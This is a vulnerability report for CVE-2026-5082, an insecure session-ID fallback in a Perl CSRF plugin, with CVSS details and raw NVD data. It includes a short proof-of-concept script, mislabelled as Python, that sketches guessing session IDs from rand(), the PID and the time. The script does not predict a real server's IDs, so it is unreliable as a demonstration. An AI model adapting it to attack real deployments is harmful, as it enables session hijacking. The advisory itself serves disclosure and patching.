Security Vulnerability Report
中文
CVE-2026-5082 CVSS 5.3 MEDIUM

CVE-2026-5082

Published: 2026-04-08 06:16:29
Last Modified: 2026-04-23 15:03:32
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Amon2::Plugin::Web::CSRFDefender versions from 7.00 through 7.03 for Perl generate an insecure session id. The generate_session_id function will attempt to read bytes from the /dev/urandom device, but if that is unavailable then it generates bytes using SHA-1 hash seeded with the built-in rand() function, the PID, and the high resolution epoch time. The PID will come from a small set of numbers, and the epoch time may be guessed, if it is not leaked from the HTTP Date header. The built-in rand function is unsuitable for cryptographic usage. Amon2::Plugin::Web::CSRFDefender versions before 7.00 were part of Amon2, which was vulnerable to insecure session ids due to CVE-2025-15604. Note that the author has deprecated this module.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:tokuhirom:amon2\:\:plugin\:\:web\:\:csrfdefender:*:*:*:*:*:perl:*:* - VULNERABLE
Amon2::Plugin::Web::CSRFDefender 7.00
Amon2::Plugin::Web::CSRFDefender 7.01
Amon2::Plugin::Web::CSRFDefender 7.02
Amon2::Plugin::Web::CSRFDefender 7.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # This PoC simulates the weak session ID generation logic # to demonstrate predictability when /dev/urandom is missing. use strict; use warnings; use Digest::SHA qw(sha1_hex); use Time::HiRes qw(time); sub predict_session_id { # In a real attack, the attacker estimates the server time # and iterates through possible PIDs and rand() states. my $estimated_time = time(); my $pid_guess = 1000; # Example PID guess # Simulate the weak rand() usage (simplified) # Note: Actual prediction requires knowing the PRNG state my $weak_rand = rand(); # Reproduce the vulnerable concatenation logic my $data = join(':', $weak_rand, $pid_guess, $estimated_time); return sha1_hex($data); } print "[+] Predicted Session ID: " . predict_session_id() . "\n"; print "[+] Note: Actual exploitation requires syncing server time and PID enumeration.\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5082", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-08T06:16:28.993", "lastModified": "2026-04-23T15:03:31.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Amon2::Plugin::Web::CSRFDefender versions from 7.00 through 7.03 for Perl generate an insecure session id.\n\nThe generate_session_id function will attempt to read bytes from the /dev/urandom device, but if that is unavailable then it generates bytes using SHA-1 hash seeded with the built-in rand() function, the PID, and the high resolution epoch time. The PID will come from a small set of numbers, and the epoch time may be guessed, if it is not leaked from the HTTP Date header. The built-in rand function is unsuitable for cryptographic usage.\n\nAmon2::Plugin::Web::CSRFDefender versions before 7.00 were part of Amon2, which was vulnerable to insecure session ids due to CVE-2025-15604.\n\nNote that the author has deprecated this module."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tokuhirom:amon2\\:\\:plugin\\:\\:web\\:\\:csrfdefender:*:*:*:*:*:perl:*:*", "versionStartIncluding": "7.00", "versionEndIncluding": "7.03", "matchCriteriaId": "9976BCB7-13C5-4F44-A248-29D54E13E64E"}]}]}], "references": [{"url": "https://metacpan.org/release/TOKUHIROM/Amon2-Plugin-Web-CSRFDefender-7.03/source/lib/Amon2/Plugin/Web/CSRFDefender/Random.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://metacpan.org/release/TOKUHIROM/Amon2-Plugin-Web-CSRFDefender-7.04/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-15604", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}]}}